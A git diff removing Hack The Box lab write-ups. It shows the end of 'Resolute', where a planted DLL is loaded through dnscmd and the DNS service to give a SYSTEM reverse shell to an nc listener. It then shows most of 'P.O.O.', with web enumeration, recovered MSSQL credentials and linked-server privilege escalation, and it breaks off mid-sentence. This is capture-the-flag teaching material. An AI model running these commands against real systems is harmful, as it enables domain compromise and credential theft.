/root/htb/resolute/nc.exe -Info: Uploading /root/htb/resolute/nc.exe to C:\windows\system32\spool\drivers\color\nc.exe - -Data: 53248 bytes of 53248 bytes copied - -Info: Upload successful! - -*Evil-WinRM* PS C:\windows\system32\spool\drivers\color> upload /root/htb/resolute/pwn.dll -Info: Uploading /root/htb/resolute/pwn.dll to C:\windows\system32\spool\drivers\color\pwn.dll - -Data: 305604 bytes of 305604 bytes copied - -Info: Upload successful! -``` - -Next, I'll reconfigure the dns service and restart it. - -``` -*Evil-WinRM* PS C:\windows\system32\spool\drivers\color> cmd /c 'dnscmd RESOLUTE /config /serverlevelplugindll C:\Windows\System32\spool\drivers\color\pwn.dll' - -Registry property serverlevelplugindll successfully reset. -Command completed successfully. - -*Evil-WinRM* PS C:\windows\system32\spool\drivers\color> cmd /c "sc stop dns" - -SERVICE_NAME: dns - TYPE : 10 WIN32_OWN_PROCESS - STATE : 3 STOP_PENDING - (STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN) - WIN32_EXIT_CODE : 0 (0x0) - SERVICE_EXIT_CODE : 0 (0x0) - CHECKPOINT : 0x0 - WAIT_HINT : 0x0 -*Evil-WinRM* PS C:\windows\system32\spool\drivers\color> cmd /c "sc start dns" - -SERVICE_NAME: dns - TYPE : 10 WIN32_OWN_PROCESS - STATE : 2 START_PENDING - (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN) - WIN32_EXIT_CODE : 0 (0x0) - SERVICE_EXIT_CODE : 0 (0x0) - CHECKPOINT : 0x0 - WAIT_HINT : 0x7d0 - PID : 3500 - FLAGS -``` - -This triggers the DLL and I get a reverse shell as SYSTEM: - -``` -root@beholder:~/htb/resolute# rlwrap nc -lvnp 5555 -Ncat: Version 7.80 ( https://nmap.org/ncat ) -Ncat: Listening on :::5555 -Ncat: Listening on 0.0.0.0:5555 -Ncat: Connection from 10.10.10.169. -Ncat: Connection from 10.10.10.169:56778. -Microsoft Windows [Version 10.0.14393] -(c) 2016 Microsoft Corporation. All rights reserved. - -C:\Windows\system32>whoami -nt authority\system - -C:\Windows\system32>type c:\users\administrator\desktop\root.txt -e1d9487[...] -``` \ No newline at end of file diff --git a/_posts/2020-06-02-htb-writeup-poo.md b/_posts/2020-06-02-htb-writeup-poo.md deleted file mode 100644 index 9535f9d40d..0000000000 --- a/_posts/2020-06-02-htb-writeup-poo.md +++ /dev/null @@ -1,1552 +0,0 @@ ---- -layout: single -title: P.O.O. - Hack The Box -excerpt: "Professional Offensive Operations (P.O.O.) was the first endgame lab released by Hack The Box. It contained five different flags spread across two Windows machines. The initial part required some tricky recon with ds_store and IIS short names to find a MSSQL DB connection string. We then had to pivot by abusing the trust between MSSQL linked servers. The lab also had kerberoasting, password cracking, mimikatz and attack path enumeration with Bloodhound in it." -date: 2020-06-02 -classes: wide -header: - teaser: /assets/images/htb-writeup-poo/poo_logo.png - teaser_home_page: true - icon: /assets/images/hackthebox.webp -categories: - - hackthebox - - infosec -tags: - - endgame - - ds_store - - iis shortname - - fuzzing - - mssql - - linked servers - - ipv6 - - mssql python - - hashcat - - kerberoast - - bloodhound - - mimikatz ---- - -![](/assets/images/htb-writeup-poo/poo_logo.png) - -Professional Offensive Operations (P.O.O.) was the first endgame lab released by Hack The Box. It contained five different flags spread across two Windows machines. The initial part required some tricky recon with ds_store and IIS short names to find a MSSQL DB connection string. We then had to pivot by abusing the trust between MSSQL linked servers. The lab also had kerberoasting, password cracking, mimikatz and attack path enumeration with Bloodhound. The writeup is a somewhat rough compilation of my notes when I initially did it so some stuff might have changed a little bit since it was first released. - -## Portscan - -``` -root@kali:~/hackthebox# nmap -F -sC -sV 10.13.38.11 - -Starting Nmap 7.60 ( https://nmap.org ) at 2018-04-02 21:53 EDT -Nmap scan report for 10.13.38.11 -Host is up (0.099s latency). -Not shown: 98 filtered ports -PORT STATE SERVICE VERSION -80/tcp open http Microsoft IIS httpd 10.0 -| http-methods: -|_ Potentially risky methods: TRACE -|_http-server-header: Microsoft-IIS/10.0 -|_http-title: Professional Offensive Operations -1433/tcp open ms-sql-s Microsoft SQL Server 14.00.1000.00 -| ms-sql-ntlm-info: -| Target_Name: POO -| NetBIOS_Domain_Name: POO -| NetBIOS_Computer_Name: COMPATIBILITY -| DNS_Domain_Name: intranet.poo -| DNS_Computer_Name: COMPATIBILITY.intranet.poo -| DNS_Tree_Name: intranet.poo -|_ Product_Version: 10.0.14393 -| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback -| Not valid before: 2018-04-02T16:10:49 -|_Not valid after: 2048-04-02T16:10:49 -|_ssl-date: 2018-04-03T01:54:00+00:00; -4s from scanner time. -Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows - -Host script results: -|_clock-skew: mean: -4s, deviation: 0s, median: -4s -| ms-sql-info: -| 10.13.38.11:1433: -| Version: -| name: Microsoft SQL Server -| number: 14.00.1000.00 -| Product: Microsoft SQL Server -|_ TCP port: 1433 - -Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . -Nmap done: 1 IP address (1 host up) scanned in 15.78 seconds -``` - -## Dirbusting - -``` -root@kali:~# gobuster -u 10.13.38.11 -w SecLists/Discovery/Web_Content/raft-large-directories-lowercase.txt -t 50 -s 200,204,301,302,401 - -Gobuster v1.2 OJ Reeves (@TheColonial) -===================================================== -[+] Mode : dir -[+] Url/Domain : http://10.13.38.11/ -[+] Threads : 50 -[+] Wordlist : SecLists/Discovery/Web_Content/raft-large-directories-lowercase.txt -[+] Status codes : 302,401,200,204,301 -===================================================== -/images (Status: 301) -/admin (Status: 401) -/templates (Status: 301) -/js (Status: 301) -/themes (Status: 301) -/plugins (Status: 301) -/uploads (Status: 301) -/dev (Status: 301) -/widgets (Status: 301) -/meta-inf (Status: 301) -/new folder (Status: 301) -===================================================== -``` - -There's an `/admin` page... but I can't brute force it though... - -## .DS_Store enumeration - -After trying a couple of wordlists I found a .ds_store file. The `.ds_store` files left in the directories can help us determine the directory structure of the website such as finding a few hidden directories that we couldn't find with the gobuster wordlists. - -Tool used: [https://github.com/lijiejie/ds_store_exp](https://github.com/lijiejie/ds_store_exp) - -``` -root@kali:~/ds_store_exp# python ds_store_exp.py http://10.13.38.11/.DS_Store -[+] http://10.13.38.11/.DS_Store -[+] http://10.13.38.11/Widgets/.DS_Store -[+] http://10.13.38.11/dev/.DS_Store -[Folder Found] http://10.13.38.11/Templates -[Folder Found] http://10.13.38.11/Widgets -[+] http://10.13.38.11/JS/.DS_Store -[+] http://10.13.38.11/Themes/.DS_Store -[Folder Found] http://10.13.38.11/dev -[Folder Found] http://10.13.38.11/JS -[Folder Found] http://10.13.38.11/Themes -[+] http://10.13.38.11/Images/.DS_Store -[Folder Found] http://10.13.38.11/Uploads -[Folder Found] http://10.13.38.11/Plugins -[+] http://10.13.38.11/iisstart.htm -[Folder Found] http://10.13.38.11/Images -[Folder Found] http://10.13.38.11/META-INF -[+] http://10.13.38.11/Widgets/Framework/.DS_Store -[Folder Found] http://10.13.38.11/Widgets/Menu -[+] http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/.DS_Store -[Folder Found] http://10.13.38.11/Widgets/Framework -[+] http://10.13.38.11/dev/304c0c90fbc6520610abbf378e2339d1/.DS_Store -[Folder Found] http://10.13.38.11/Widgets/Notifications -[Folder Found] http://10.13.38.11/Widgets/CalendarEvents -[Folder Found] http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc -[Folder Found] http://10.13.38.11/dev/304c0c90fbc6520610abbf378e2339d1 -[Folder Found] http://10.13.38.11/JS/custom -[Folder Found] http://10.13.38.11/Themes/default -[+] http://10.13.38.11/Widgets/Framework/Layouts/.DS_Store -[Folder Found] http://10.13.38.11/Images/buttons -[Folder Found] http://10.13.38.11/Images/icons -[Folder Found] http://10.13.38.11/Widgets/Framework/Layouts -[+] http://10.13.38.11/Images/iisstart.png -[Folder Found] http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/core -[Folder Found] http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db -[Folder Found] http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/include -[Folder Found] http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/src -[Folder Found] http://10.13.38.11/dev/304c0c90fbc6520610abbf378e2339d1/core -[Folder Found] http://10.13.38.11/dev/304c0c90fbc6520610abbf378e2339d1/include -[Folder Found] http://10.13.38.11/dev/304c0c90fbc6520610abbf378e2339d1/db -[Folder Found] http://10.13.38.11/Widgets/Framework/Layouts/default -[Folder Found] http://10.13.38.11/dev/304c0c90fbc6520610abbf378e2339d1/src -[Folder Found] http://10.13.38.11/Widgets/Framework/Layouts/custom -``` - -The /dev directories are hashes of the box creator names: - -- `dca66d38fd916317687e1390a420c3fc -> eks` -- `304c0c90fbc6520610abbf378e2339d1 -> mrb3n` - -The `/core`, `/src`, `/include`, and `/db` directories under `/dev/304c0c90fbc6520610abbf378e2339d1` look interesting but after enumeration we didn't find anything using gobuster. - -## IIS short name enumeration - -Because this is a Windows server it supports shortnames for backward compatibility with DOS. We can scan for those files and even though we can't read them using the 8.3 name it'll give us the first few letters of the filename and we can guess/fuzz the rest. - -Tool used: [https://github.com/lijiejie/IIS_shortname_Scanner](https://github.com/lijiejie/IIS_shortname_Scanner) - -``` -root@kali:~/IIS_shortname_Scanner# python iis_shortname_Scan.py http://10.13.38.11 -Server is vulnerable, please wait, scanning... -[+] /a~1.* [scan in progress] -[+] /d~1.* [scan in progress] -[+] /n~1.* [scan in progress] -[+] /t~1.* [scan in progress] -[+] /p~1.* [scan in progress] -[+] /s~1.* [scan in progress] -[+] /w~1.* [scan in progress] -[+] /ds~1.* [scan in progress] -[+] /ar~1.* [scan in progress] -[+] /ne~1.* [scan in progress] -[+] /te~1.* [scan in progress] -[+] /tr~1.* [scan in progress] -[+] /tu~1.* [scan in progress] -[+] /pu~1.* [scan in progress] -[+] /sn~1.* [scan in progress] -[+] /we~1.* [scan in progress] -[+] /ds_~1.* [scan in progress] -[+] /ark~1.* [scan in progress] -[+] /new~1.* [scan in progress] -[+] /tem~1.* [scan in progress] -[+] /tra~1.* [scan in progress] -[+] /pup~1.* [scan in progress] -[+] /tun~1.* [scan in progress] -[+] /sna~1.* [scan in progress] -[+] /web~1.* [scan in progress] -[+] /ds_s~1.* [scan in progress] -[+] /arka~1.* [scan in progress] -[+] /newf~1.* [scan in progress] -[+] /temp~1.* [scan in progress] -[+] /tras~1.* [scan in progress] -[+] /pupp~1.* [scan in progress] -[+] /tunn~1.* [scan in progress] -[+] /snad~1.* [scan in progress] -[+] /ds_st~1.* [scan in progress] -[+] /arkan~1.* [scan in progress] -[+] /newfo~1.* [scan in progress] -[+] /templ~1.* [scan in progress] -[+] /trash~1.* [scan in progress] -[+] /puppa~1.* [scan in progress] -[+] /tunne~1.* [scan in progress] -[+] /snado~1.* [scan in progress] -[+] /ds_sto~1.* [scan in progress] -[+] /arkant~1.* [scan in progress] -[+] /templa~1.* [scan in progress] -[+] /trashe~1.* [scan in progress] -[+] /newfol~1.* [scan in progress] -[+] /puppa2~1.* [scan in progress] -[+] /tunnel~1.* [scan in progress] -[+] /ds_sto~1 [scan in progress] -[+] Directory /ds_sto~1 [Done] -[+] /arkant~1.a* [scan in progress] -[+] /snado_~1.* [scan in progress] -[+] /templa~1 [scan in progress] -[+] Directory /templa~1 [Done] -[+] /trashe~1 [scan in progress] -[+] Directory /trashe~1 [Done] -[+] /newfol~1 [scan in progress] -[+] Directory /newfol~1 [Done] -[+] /puppa2~1.a* [scan in progress] -[+] /tunnel~1.a* [scan in progress] -[+] /arkant~1.as* [scan in progress] -[+] /snado_~1.t* [scan in progress] -[+] /puppa2~1.as* [scan in progress] -[+] /tunnel~1.as* [scan in progress] -[+] /arkant~1.asp* [scan in progress] -[+] File /arkant~1.asp* [Done] -[+] /snado_~1.tx* [scan in progress] -[+] /puppa2~1.asp* [scan in progress] -[+] File /puppa2~1.asp* [Done] -[+] /tunnel~1.ash* [scan in progress] -[+] File /tunnel~1.ash* [Done] -[+] /tunnel~1.asp* [scan in progress] -[+] File /tunnel~1.asp* [Done] -[+] /snado_~1.txt* [scan in progress] -[+] File /snado_~1.txt* [Done] ----------------------------------------------------------------- -Dir: /ds_sto~1 -Dir: /templa~1 -Dir: /trashe~1 -Dir: /newfol~1 -File: /arkant~1.asp* -File: /puppa2~1.asp* -File: /tunnel~1.ash* -File: /tunnel~1.asp* -File: /snado_~1.txt* ----------------------------------------------------------------- -4 Directories, 5 Files found in total -Note that * is a wildcard, matches any character zero or more times. -``` - -Nothing interesting in the main directory. The .asp files are leftover from other teams. - -Let's check those folders we found with the ds_store scanner: - -``` -root@kali:~/IIS_shortname_Scanner# python iis_shortname_Scan.py http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc -Server is vulnerable, please wait, scanning... -[+] /dev/dca66d38fd916317687e1390a420c3fc/p~1.* [scan in progress] -[+] /dev/dca66d38fd916317687e1390a420c3fc/d~1.* [scan in progress] -[+] /dev/dca66d38fd916317687e1390a420c3fc/ds~1.* [scan in progress] -[+] /dev/dca66d38fd916317687e1390a420c3fc/pu~1.* [scan in progress] -[+] /dev/dca66d38fd916317687e1390a420c3fc/pup~1.* [scan in progress] -[+] /dev/dca66d38fd916317687e1390a420c3fc/ds_~1.* [scan in progress] -[+] /dev/dca66d38fd916317687e1390a420c3fc/pupp~1.* [scan in progress] -[+] /dev/dca66d38fd916317687e1390a420c3fc/ds_s~1.* [scan in progress] -[+] /dev/dca66d38fd916317687e1390a420c3fc/puppa~1.* [scan in progress] -[+] /dev/dca66d38fd916317687e1390a420c3fc/ds_st~1.* [scan in progress] -[+] /dev/dca66d38fd916317687e1390a420c3fc/ds_sto~1.* [scan in progress] -[+] /dev/dca66d38fd916317687e1390a420c3fc/ds_sto~1 [scan in progress] -[+] Directory /dev/dca66d38fd916317687e1390a420c3fc/ds_sto~1 [Done] ----------------------------------------------------------------- -Dir: /dev/dca66d38fd916317687e1390a420c3fc/ds_sto~1 ----------------------------------------------------------------- -1 Directories, 0 Files found in total -Note that * is a wildcard, matches any character zero or more times. -root@kali:~/IIS_shortname_Scanner# python iis_shortname_Scan.py http://10.13.38.11/dev/304c0c90fbc6520610abbf378e2339d1 -Server is vulnerable, please wait, scanning... -[+] /dev/304c0c90fbc6520610abbf378e2339d1/d~1.* [scan in progress] -[+] /dev/304c0c90fbc6520610abbf378e2339d1/ds~1.* [scan in progress] -[+] /dev/304c0c90fbc6520610abbf378e2339d1/ds_~1.* [scan in progress] -[+] /dev/304c0c90fbc6520610abbf378e2339d1/ds_s~1.* [scan in progress] -[+] /dev/304c0c90fbc6520610abbf378e2339d1/ds_st~1.* [scan in progress] -[+] /dev/304c0c90fbc6520610abbf378e2339d1/ds_sto~1.* [scan in progress] -[+] /dev/304c0c90fbc6520610abbf378e2339d1/ds_sto~1 [scan in progress] -[+] Directory /dev/304c0c90fbc6520610abbf378e2339d1/ds_sto~1 [Done] ----------------------------------------------------------------- -Dir: /dev/304c0c90fbc6520610abbf378e2339d1/ds_sto~1 ----------------------------------------------------------------- -1 Directories, 0 Files found in total -Note that * is a wildcard, matches any character zero or more times. -``` - -``` -root@kali:~/IIS_shortname_Scanner# python iis_shortname_Scan.py http://10.13.38.11/dev/304c0c90fbc6520610abbf378e2339d1/db -Server is vulnerable, please wait, scanning... -[+] /dev/304c0c90fbc6520610abbf378e2339d1/db/p~1.* [scan in progress] -[+] /dev/304c0c90fbc6520610abbf378e2339d1/db/po~1.* [scan in progress] -[+] /dev/304c0c90fbc6520610abbf378e2339d1/db/poo~1.* [scan in progress] -[+] /dev/304c0c90fbc6520610abbf378e2339d1/db/poo_~1.* [scan in progress] -[+] /dev/304c0c90fbc6520610abbf378e2339d1/db/poo_c~1.* [scan in progress] -[+] /dev/304c0c90fbc6520610abbf378e2339d1/db/poo_co~1.* [scan in progress] -[+] /dev/304c0c90fbc6520610abbf378e2339d1/db/poo_co~1.t* [scan in progress] -[+] /dev/304c0c90fbc6520610abbf378e2339d1/db/poo_co~1.tx* [scan in progress] -[+] /dev/304c0c90fbc6520610abbf378e2339d1/db/poo_co~1.txt* [scan in progress] -[+] File /dev/304c0c90fbc6520610abbf378e2339d1/db/poo_co~1.txt* [Done] ----------------------------------------------------------------- -File: /dev/304c0c90fbc6520610abbf378e2339d1/db/poo_co~1.txt* ----------------------------------------------------------------- -0 Directories, 1 Files found in total -Note that * is a wildcard, matches any character zero or more times. - -root@kali:~/IIS_shortname_Scanner# python iis_shortname_Scan.py http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db -Server is vulnerable, please wait, scanning... -[+] /dev/dca66d38fd916317687e1390a420c3fc/db/p~1.* [scan in progress] -[+] /dev/dca66d38fd916317687e1390a420c3fc/db/po~1.* [scan in progress] -[+] /dev/dca66d38fd916317687e1390a420c3fc/db/poo~1.* [scan in progress] -[+] /dev/dca66d38fd916317687e1390a420c3fc/db/poo_~1.* [scan in progress] -[+] /dev/dca66d38fd916317687e1390a420c3fc/db/poo_c~1.* [scan in progress] -[+] /dev/dca66d38fd916317687e1390a420c3fc/db/poo_co~1.* [scan in progress] -[+] /dev/dca66d38fd916317687e1390a420c3fc/db/poo_co~1.t* [scan in progress] -[+] /dev/dca66d38fd916317687e1390a420c3fc/db/poo_co~1.tx* [scan in progress] -[+] /dev/dca66d38fd916317687e1390a420c3fc/db/poo_co~1.txt* [scan in progress] -[+] File /dev/dca66d38fd916317687e1390a420c3fc/db/poo_co~1.txt* [Done] ----------------------------------------------------------------- -File: /dev/dca66d38fd916317687e1390a420c3fc/db/poo_co~1.txt* ----------------------------------------------------------------- -0 Directories, 1 Files found in total -Note that * is a wildcard, matches any character zero or more times. -``` - -We found a file that starts with `poo_co`, but we need to get the rest of the filename using some fuzzing. - -We'll take the english dictionary and keep only the words that start with `co`, then use wfuzz to scan the directory: - -``` -root@kali:~/SecLists# egrep "^co" words.txt > ../co.txt -root@kali:~/SecLists# cd .. -root@kali:~# wfuzz -z file,co.txt --hc 404 http://10.13.38.11//dev/304c0c90fbc6520610abbf378e2339d1/db/poo_FUZZ.txt -``` - -Success! There's a file called `poo_connection.txt` in the folder containg our first flag and MSSQL credentials: - -``` -SERVER=10.13.38.11 -USERID=external_user -DBNAME=POO_PUBLIC -USERPWD=#p00Public3xt3rnalUs3r# - -Flag : POO{fcfb0767f5bd3c...} -``` - -First flag: `POO{fcfb0767f5bd3c...}` - -## MSSQL enumeration - -There's no CVE on this server, it's running the latest patched MSSQL. - -``` -msf auxiliary(admin/mssql/mssql_enum) > run - -[*] 10.13.38.11:1433 - Running MS SQL Server Enumeration... -[*] 10.13.38.11:1433 - Version: -[*] Microsoft SQL Server 2017 (RTM) - 14.0.1000.169 (X64) -[*] Aug 22 2017 17:04:49 -[*] Copyright (C) 2017 Microsoft Corporation -[*] Standard Edition (64-bit) on Windows Server 2016 Standard 10.0 (Build 14393: ) (Hypervisor) -[*] 10.13.38.11:1433 - Configuration Parameters: -[*] 10.13.38.11:1433 - C2 Audit Mode is Not Enabled -[*] 10.13.38.11:1433 - xp_cmdshell is Enabled -[*] 10.13.38.11:1433 - remote access is Enabled -[*] 10.13.38.11:1433 - allow updates is Not Enabled -[*] 10.13.38.11:1433 - Database Mail XPs is Not Enabled -[*] 10.13.38.11:1433 - Ole Automation Procedures are Enabled -[*] 10.13.38.11:1433 - Databases on the server: -[*] 10.13.38.11:1433 - Database name:master -[*] 10.13.38.11:1433 - Database Files for master: -[*] 10.13.38.11:1433 - C:\Program Files\Microsoft SQL Server\MSSQL14.POO_PUBLIC\MSSQL\DATA\master.mdf -[*] 10.13.38.11:1433 - C:\Program Files\Microsoft SQL Server\MSSQL14.POO_PUBLIC\MSSQL\DATA\mastlog.ldf -[*] 10.13.38.11:1433 - Database name:tempdb -[*] 10.13.38.11:1433 - Database Files for tempdb: -[*] 10.13.38.11:1433 - C:\Program Files\Microsoft SQL Server\MSSQL14.POO_PUBLIC\MSSQL\DATA\tempdb.mdf -[*] 10.13.38.11:1433 - C:\Program Files\Microsoft SQL Server\MSSQL14.POO_PUBLIC\MSSQL\DATA\templog.ldf -[*] 10.13.38.11:1433 - C:\Program Files\Microsoft SQL Server\MSSQL14.POO_PUBLIC\MSSQL\DATA\tempdb_mssql_2.ndf -[*] 10.13.38.11:1433 - C:\Program Files\Microsoft SQL Server\MSSQL14.POO_PUBLIC\MSSQL\DATA\tempdb_mssql_3.ndf -[*] 10.13.38.11:1433 - C:\Program Files\Microsoft SQL Server\MSSQL14.POO_PUBLIC\MSSQL\DATA\tempdb_mssql_4.ndf -[*] 10.13.38.11:1433 - Database name:POO_PUBLIC -[*] 10.13.38.11:1433 - Database Files for POO_PUBLIC: -[*] 10.13.38.11:1433 - C:\Program Files\Microsoft SQL Server\MSSQL14.POO_PUBLIC\MSSQL\DATA\poo_public_dat.mdf -[*] 10.13.38.11:1433 - C:\Program Files\Microsoft SQL Server\MSSQL14.POO_PUBLIC\MSSQL\DATA\poo_public_log.ldf -[*] 10.13.38.11:1433 - System Logins on this Server: -[*] 10.13.38.11:1433 - sa -[*] 10.13.38.11:1433 - external_user -[*] 10.13.38.11:1433 - Disabled Accounts: -[*] 10.13.38.11:1433 - No Disabled Logins Found -[*] 10.13.38.11:1433 - No Accounts Policy is set for: -[*] 10.13.38.11:1433 - All System Accounts have the Windows Account Policy Applied to them. -[*] 10.13.38.11:1433 - Password Expiration is not checked for: -[*] 10.13.38.11:1433 - sa -[*] 10.13.38.11:1433 - external_user -[*] 10.13.38.11:1433 - System Admin Logins on this Server: -[*] 10.13.38.11:1433 - sa -[*] 10.13.38.11:1433 - Windows Logins on this Server: -[*] 10.13.38.11:1433 - No Windows logins found! -[*] 10.13.38.11:1433 - Windows Groups that can logins on this Server: -[*] 10.13.38.11:1433 - No Windows Groups where found with permission to login to system. -[*] 10.13.38.11:1433 - Accounts with Username and Password being the same: -[*] 10.13.38.11:1433 - No Account with its password being the same as its username was found. -[*] 10.13.38.11:1433 - Accounts with empty password: -[*] 10.13.38.11:1433 - No Accounts with empty passwords where found. -[*] 10.13.38.11:1433 - Stored Procedures with Public Execute Permission found: -[*] 10.13.38.11:1433 - sp_replsetsyncstatus -[*] 10.13.38.11:1433 - sp_replcounters -[*] 10.13.38.11:1433 - sp_replsendtoqueue -[*] 10.13.38.11:1433 - sp_resyncexecutesql -[*] 10.13.38.11:1433 - sp_prepexecrpc -[*] 10.13.38.11:1433 - sp_repltrans -[*] 10.13.38.11:1433 - sp_xml_preparedocument -[*] 10.13.38.11:1433 - xp_qv -[*] 10.13.38.11:1433 - xp_getnetname -[*] 10.13.38.11:1433 - sp_releaseschemalock -[*] 10.13.38.11:1433 - sp_refreshview -[*] 10.13.38.11:1433 - sp_replcmds -[*] 10.13.38.11:1433 - sp_unprepare -[*] 10.13.38.11:1433 - sp_resyncprepare -[*] 10.13.38.11:1433 - sp_createorphan -[*] 10.13.38.11:1433 - xp_dirtree -[*] 10.13.38.11:1433 - sp_replwritetovarbin -[*] 10.13.38.11:1433 - sp_replsetoriginator -[*] 10.13.38.11:1433 - sp_xml_removedocument -[*] 10.13.38.11:1433 - sp_repldone -[*] 10.13.38.11:1433 - sp_reset_connection -[*] 10.13.38.11:1433 - xp_fileexist -[*] 10.13.38.11:1433 - xp_fixeddrives -[*] 10.13.38.11:1433 - sp_getschemalock -[*] 10.13.38.11:1433 - sp_prepexec -[*] 10.13.38.11:1433 - xp_revokelogin -[*] 10.13.38.11:1433 - sp_execute_external_script -[*] 10.13.38.11:1433 - sp_resyncuniquetable -[*] 10.13.38.11:1433 - sp_replflush -[*] 10.13.38.11:1433 - sp_resyncexecute -[*] 10.13.38.11:1433 - xp_grantlogin -[*] 10.13.38.11:1433 - sp_droporphans -[*] 10.13.38.11:1433 - xp_regread -[*] 10.13.38.11:1433 - sp_getbindtoken -[*] 10.13.38.11:1433 - sp_replincrementlsn -[*] 10.13.38.11:1433 - Instances found on this server: -[*] 10.13.38.11:1433 - Default Server Instance SQL Server Service is running under the privilege of: -[*] 10.13.38.11:1433 - xp_regread might be disabled in this system -[*] Auxiliary module execution completed -``` - -## PowerUpSQL and MSSQL linked servers - -For the next parts, we'll use a Windows 10 machine. - -![MSSQL login](/assets/images/htb-writeup-poo/Screenshot_1.png) - -Since our local attacker machine is not domain joined and we don't have access to the domain controller, we'll define the instance manually and test the credentials: - -``` -PS C:\Users\snowscan> $user = "external_user" -PS C:\Users\snowscan> $pass = "#p00Public3xt3rnalUs3r#" -PS C:\Users\snowscan> $i = "10.13.38.11,1433" -PS C:\Users\snowscan> get-sqlservercredential -verbose -instance $i -username $user -password $pass -VERBOSE: 10.13.38.11,1433 : Connection Success. -``` - -Next, we start auditing the configuration for weak permissions and such. We find that there is a linked server which we can access. - -``` -PS C:\Users\snowscan> Invoke-SQLAuditPrivServerLink -verbose -instance $i -username $user -password $pass -VERBOSE: 10.13.38.11,1433 : START VULNERABILITY CHECK: Excessive Privilege - Server Link -VERBOSE: 10.13.38.11,1433 : CONNECTION SUCCESS. -VERBOSE: 10.13.38.11,1433 : - The COMPATIBILITY\POO_CONFIG linked server was found configured with the internal_user login. -VERBOSE: 10.13.38.11,1433 : COMPLETED VULNERABILITY CHECK: Excessive Privilege - Server Link - - -ComputerName : 10.13.38.11 -Instance : 10.13.38.11,1433 -Vulnerability : Excessive Privilege - Linked Server -Description : One or more linked servers is preconfigured with alternative credentials which could allow a least privilege login to escalate their privileges on a - remote server. -Remediation : Configure SQL Server links to connect to remote servers using the login's current security context. -Severity : Medium -IsVulnerable : Yes -IsExploitable : No -Exploited : No -ExploitCmd : Example query: SELECT * FROM OPENQUERY([COMPATIBILITY\POO_CONFIG],'Select ''Server: '' + @@Servername +'' '' + ''Login: '' + SYSTEM_USER') -Details : The SQL Server link COMPATIBILITY\POO_CONFIG was found configured with the internal_user login. -Reference : https://msdn.microsoft.com/en-us/library/ms190479.aspx -Author : Scott Sutherland (@_nullbind), NetSPI 2016 -``` - -Let's explore this further: - -``` -PS C:\Users\snowscan> get-sqlserverlink -verbose -instance $i -username $user -password $pass -VERBOSE: 10.13.38.11,1433 : Connection Success. - - -ComputerName : 10.13.38.11 -Instance : 10.13.38.11,1433 -DatabaseLinkId : 0 -DatabaseLinkName : COMPATIBILITY\POO_PUBLIC -DatabaseLinkLocation : Local -Product : SQL Server -Provider : SQLNCLI -Catalog : -LocalLogin : Uses Self Credentials -RemoteLoginName : -is_rpc_out_enabled : True -is_data_access_enabled : False -modify_date : 3/17/2018 1:21:26 PM - -ComputerName : 10.13.38.11 -Instance : 10.13.38.11,1433 -DatabaseLinkId : 1 -DatabaseLinkName : COMPATIBILITY\POO_CONFIG -DatabaseLinkLocation : Remote -Product : SQL Server -Provider : SQLNCLI -Catalog : -LocalLogin : -RemoteLoginName : internal_user -is_rpc_out_enabled : True -is_data_access_enabled : True -modify_date : 3/17/2018 1:51:08 PM -``` - -So using our `external_user`, we can execute commands as `internal_user` on the other DB instance `POO_CONFIG`. - -The following blog has an interesting technique to exploit trust in linked servers: [http://www.labofapenetrationtester.com/2017/03/using-sql-server-for-attacking-forest-trust.html](http://www.labofapenetrationtester.com/2017/03/using-sql-server-for-attacking-forest-trust.html) - -So, `COMPATIBILITY\POO_PUBLIC` and `COMPATIBILITY\POO_CONFIG` are both linked. - -We can see this using: `select * from master..sysservers` - -``` -PS C:\Users\snowscan> get-sqlquery -instance $i -username $user -password $pass -query "select * from master..sysservers" - - -srvid : 0 -srvstatus : 1089 -srvname : COMPATIBILITY\POO_PUBLIC -srvproduct : SQL Server -providername : SQLOLEDB -datasource : COMPATIBILITY\POO_PUBLIC -location : -providerstring : -schemadate : 3/17/2018 1:21:26 PM -topologyx : 0 -topologyy : 0 -catalog : -srvcollation : -connecttimeout : 0 -querytimeout : 0 -srvnetname : COMPATIBILITY\POO_PUBLIC -isremote : True -rpc : True -pub : False -sub : False -dist : False -dpub : False -rpcout : True -dataaccess : False -collationcompatible : False -system : False -useremotecollation : True -lazyschemavalidation : False -collation : -nonsqlsub : False - -srvid : 1 -srvstatus : 1249 -srvname : COMPATIBILITY\POO_CONFIG -srvproduct : SQL Server -providername : SQLOLEDB -datasource : COMPATIBILITY\POO_CONFIG -location : -providerstring : -schemadate : 3/17/2018 1:51:08 PM -topologyx : 0 -topologyy : 0 -catalog : -srvcollation : -connecttimeout : 0 -querytimeout : 0 -srvnetname : COMPATIBILITY\POO_CONFIG -isremote : False -rpc : True -pub : False -sub : False -dist : False -dpub : False -rpcout : True -dataaccess : True -collationcompatible : False -system : False -useremotecollation : True -lazyschemavalidation : False -collation : -nonsqlsub : False -``` - -For the next parts, we'll use the SQL Server Management Studio client because the quotes escaping in Powershell messes up our OPENQUERY commands and it'll be easier to work with. - -We can enumerate the list of databases from `POO_CONFIG` but there is nothing interesting. - -![MSSQL](/assets/images/htb-writeup-poo/Screenshot_2.png) - -`select * from openquery("COMPATIBILITY\POO_CONFIG",'SELECT * FROM master.dbo.sysdatabases')` - -``` -master 1 0x01 -tempdb 2 0x01 -POO_CONFIG 5 0x4E6C9A727878684DA065E7C29005704D -``` -Let's double check manually what PowerUpSQL has given us regarding `internal_user` and check if this user has `sysadmin` privileges: - -![MSSQL](/assets/images/htb-writeup-poo/Screenshot_4.png) - -Unfortunately, we don't have `sysadmin` on `POO_CONFIG` - -![MSSQL](/assets/images/htb-writeup-poo/Screenshot_5.png) - -Now, if we use OPENQUERY from `POO_CONFIG` back to `POO_PUBLIC` we get interesting results. - -![MSSQL](/assets/images/htb-writeup-poo/Screenshot_6.png) - -Sweet! We are running queries on `POO_PUBLIC` as user `sa` if we pass them through `POO_CONFIG`! - -We can use an openquery 